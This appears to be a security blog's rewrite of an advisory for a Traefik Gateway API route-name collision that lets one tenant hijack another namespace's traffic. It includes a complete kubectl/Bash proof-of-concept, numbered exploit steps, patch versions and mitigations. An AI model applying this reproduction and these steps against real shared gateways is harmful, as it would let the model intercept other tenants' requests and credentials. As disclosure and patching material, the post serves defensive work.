Listen to this Post
Traefik’s Kubernetes Gateway API provider builds internal router and service identities for HTTPRoute, GRPCRoute, TCPRoute, and TLSRoute objects by hyphen-concatenating the route namespace, route name, Gateway identity, entry point, and rule index. The `Normalize` function replaces non-alphanumeric runs with a single hyphen but does not encode field lengths or preserve component boundaries, making the construction non‑injective. Because Kubernetes names may themselves contain hyphens, two distinct Routes can produce an identical normalized key.
For example, the HTTPRoutes `team/a-app` and team-a/app, attached to the same Gateway with the same match rule, both normalize to httproute-team-a-app-gw-gateway-shared-ep-web-0. The `makeRouterName` function adds a hash of the routing rule; when the attacker copies the victim’s hostname and path, that hash also becomes identical. Child service and middleware names are derived from the same parent identity, so the collision propagates through the entire configuration tree.
Each Route is first built into a temporary configuration and then merged into the provider‑wide configuration using `maps.Copy` for routers, middlewares, services, and servers transports. `maps.Copy` replaces an existing value when a duplicate key is encountered, and no collision is reported. The Route that is processed later silently overwrites the earlier one, even if the earlier Route has an older creation timestamp that should win under Gateway API precedence rules.
The attacker needs only the permission to create or modify an HTTPRoute or GRPCRoute that the shared Gateway accepts. They do not need to read or modify the victim Route, Service, or namespace. The vulnerability affects all Traefik v3 minor lines; versions older than v3.6 are no longer maintained and will not receive a patch. The official v3.7.8 binary was reproduced returning the victim backend before the second Route was created and the attacker backend immediately afterward, confirming the hijacking in practice.
DailyCVE Form: Platform: Traefik Kubernetes Gateway API Provider Version: v3.0.0 – v3.7.9, v3.6.x < v3.6.25 Vulnerability: Route identity collision → cross‑namespace backend hijacking Severity: High date: 2026-08-06 Prediction: 2026-08-06 (v3.7.10 / v3.6.25)
What Undercode Say
Analytics & Validation Commands
The following Bash script reproduces the collision in a disposable Kubernetes cluster with Gateway API v1.5.1 CRDs. It deploys Traefik v3.7.8, creates the victim Route first, verifies the victim backend, then creates the colliding attacker Route and repeats the request.
!/usr/bin/env bash set -euo pipefail kubectl apply -f - <<'YAML' apiVersion: v1 kind: Namespace metadata: name: gateway apiVersion: v1 kind: Namespace metadata: name: team apiVersion: v1 kind: Namespace metadata: name: team-a apiVersion: v1 kind: ServiceAccount metadata: name: traefik-audit namespace: gateway apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: name: traefik-route-collision-lab roleRef: apiGroup: rbac.authorization.k8s.io kind: ClusterRole name: cluster-admin subjects: - kind: ServiceAccount name: traefik-audit namespace: gateway apiVersion: apps/v1 kind: Deployment metadata: name: traefik-audit namespace: gateway spec: replicas: 1 selector: matchLabels: app: traefik-audit template: metadata: labels: app: traefik-audit spec: serviceAccountName: traefik-audit containers: - name: traefik image: traefik:v3.7.8 args: - --entryPoints.web.address=:8000 - --providers.kubernetesgateway=true - --global.checkNewVersion=false - --global.sendAnonymousUsage=false - --log.level=ERROR ports: - name: web containerPort: 8000 apiVersion: gateway.networking.k8s.io/v1 kind: GatewayClass metadata: name: traefik-route-collision-lab spec: controllerName: traefik.io/gateway-controller apiVersion: gateway.networking.k8s.io/v1 kind: Gateway metadata: name: shared namespace: gateway spec: gatewayClassName: traefik-route-collision-lab listeners: - name: web protocol: HTTP port: 8000 allowedRoutes: namespaces: from: All apiVersion: apps/v1 kind: Deployment metadata: name: victim namespace: team spec: replicas: 1 selector: matchLabels: app: victim template: metadata: labels: app: victim spec: containers: - name: echo image: hashicorp/http-echo:1.0.0 args: ["-listen=:5678", "-text=VICTIM_BACKEND"] ports: - containerPort: 5678 apiVersion: v1 kind: Service metadata: name: backend namespace: team spec: selector: app: victim ports: - port: 80 targetPort: 5678 apiVersion: gateway.networking.k8s.io/v1 kind: HTTPRoute metadata: name: a-app namespace: team spec: parentRefs: - name: shared namespace: gateway hostnames: ["collision.example"] rules: - matches: - path: type: PathPrefix value: / backendRefs: - name: backend port: 80 YAML kubectl -n gateway rollout status deployment/traefik-audit --timeout=120s kubectl -n team rollout status deployment/victim --timeout=120s kubectl -n gateway port-forward deployment/traefik-audit 18080:8000 >/dev/null 2>&1 & PORT_FORWARD_PID=$! trap 'kill "$PORT_FORWARD_PID" 2>/dev/null || true' EXIT for _ in $(seq 1 60); do RESPONSE=$(curl -sS -H 'Host: collision.example' http://127.0.0.1:18080/ 2>/dev/null || true) if [ "$RESPONSE" = "VICTIM_BACKEND" ]; then break fi sleep 1 done printf 'before collision: %s\n' "$RESPONSE" sleep 2 kubectl apply -f - <<'YAML' apiVersion: apps/v1 kind: Deployment metadata: name: attacker namespace: team-a spec: replicas: 1 selector: matchLabels: app: attacker template: metadata: labels: app: attacker spec: containers: - name: echo image: hashicorp/http-echo:1.0.0 args: ["-listen=:5678", "-text=ATTACKER_BACKEND"] ports: - containerPort: 5678 apiVersion: v1 kind: Service metadata: name: backend namespace: team-a spec: selector: app: attacker ports: - port: 80 targetPort: 5678 YAML kubectl -n team-a rollout status deployment/attacker --timeout=120s kubectl apply -f - <<'YAML' apiVersion: gateway.networking.k8s.io/v1 kind: HTTPRoute metadata: name: app namespace: team-a spec: parentRefs: - name: shared namespace: gateway hostnames: ["collision.example"] rules: - matches: - path: type: PathPrefix value: / backendRefs: - name: backend port: 80 YAML for _ in $(seq 1 60); do RESPONSE=$(curl -sS -H 'Host: collision.example' http://127.0.0.1:18080/ 2>/dev/null || true) if [ "$RESPONSE" = "ATTACKER_BACKEND" ]; then break fi sleep 1 done printf 'after collision: %s\n' "$RESPONSE" kubectl get httproute -A --sort-by=.metadata.creationTimestamp
Expected output on v3.7.8:
before collision: VICTIM_BACKEND after collision: ATTACKER_BACKEND NAMESPACE NAME HOSTNAMES team a-app ["collision.example"] team-a app ["collision.example"]
The first Route is older, but creating the second Route changes existing victim traffic to the attacker backend. The same test was also run with the official standalone v3.7.8 Linux amd64 binary (SHA‑256 dbd809b1de85d86d0718c80bedbaabd9aebaa3c6697f9e986ab5f387f4196cb7) inside an isolated k3s cluster.
Exploit
- Identify a shared Gateway that accepts HTTPRoutes or GRPCRoutes from multiple namespaces.
- Find a victim Route whose namespace and name, when hyphen‑concatenated, collide with a candidate namespace/name pair under the attacker’s control. For example, victim `team/a-app` collides with attacker
team-a/app. - Copy the victim’s match rules – same hostname, same path prefix, same Gateway reference – so that `makeRouterName` produces an identical hash.
- Create the attacker Route with the colliding namespace/name combination. Because the Route is accepted by the Gateway, Traefik merges it into the provider‑wide configuration.
5. `maps.Copy` silently overwrites the existing router, service, and middleware entries with the attacker’s backend references. - All subsequent requests matching the victim’s criteria are now proxied to the attacker‑controlled backend, without any error or warning logged.
The attacker does not need permissions to read or modify the victim Route, Service, or namespace – only the ability to create an accepted Route in the shared Gateway.
Protection
- Upgrade to a patched release immediately. The fix is available in Traefik v3.6.25 and v3.7.10 (and later).
- For Traefik v3.0 – v3.5 (unmaintained lines): upgrade to a maintained, patched release (v3.6.25+ or v3.7.10+).
- If immediate upgrade is not possible, restrict which namespaces can attach Routes to the shared Gateway using `allowedRoutes.namespaces` to limit exposure to trusted tenants only.
- Audit existing HTTPRoute/GRPCRoute names for potential hyphen‑based collisions across namespaces that share a Gateway. Rename colliding Routes to avoid the `namespace-name` pattern that triggers the issue.
- Monitor Gateway controller logs for unexpected overwrites; however, note that no collision warning is currently emitted, so proactive naming reviews are essential.
Impact
In a multi‑tenant shared Gateway deployment, a malicious Route author can hijack all traffic intended for a victim Route in another namespace. The attacker gains the ability to:
– Receive requests, credentials, authorization headers, and response data that were destined for the victim backend.
– Return forged application content or issue state‑changing requests on behalf of the victim.
– Bypass namespace isolation without ever needing to read or modify the victim’s resources.
The vulnerability carries a High severity rating, with the favorable naming relationship and accepted shared Gateway reflected in the high attack‑complexity rating. All Traefik v3 minor lines are affected, making this a critical issue for any organization running Traefik as a shared Gateway API controller in Kubernetes.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

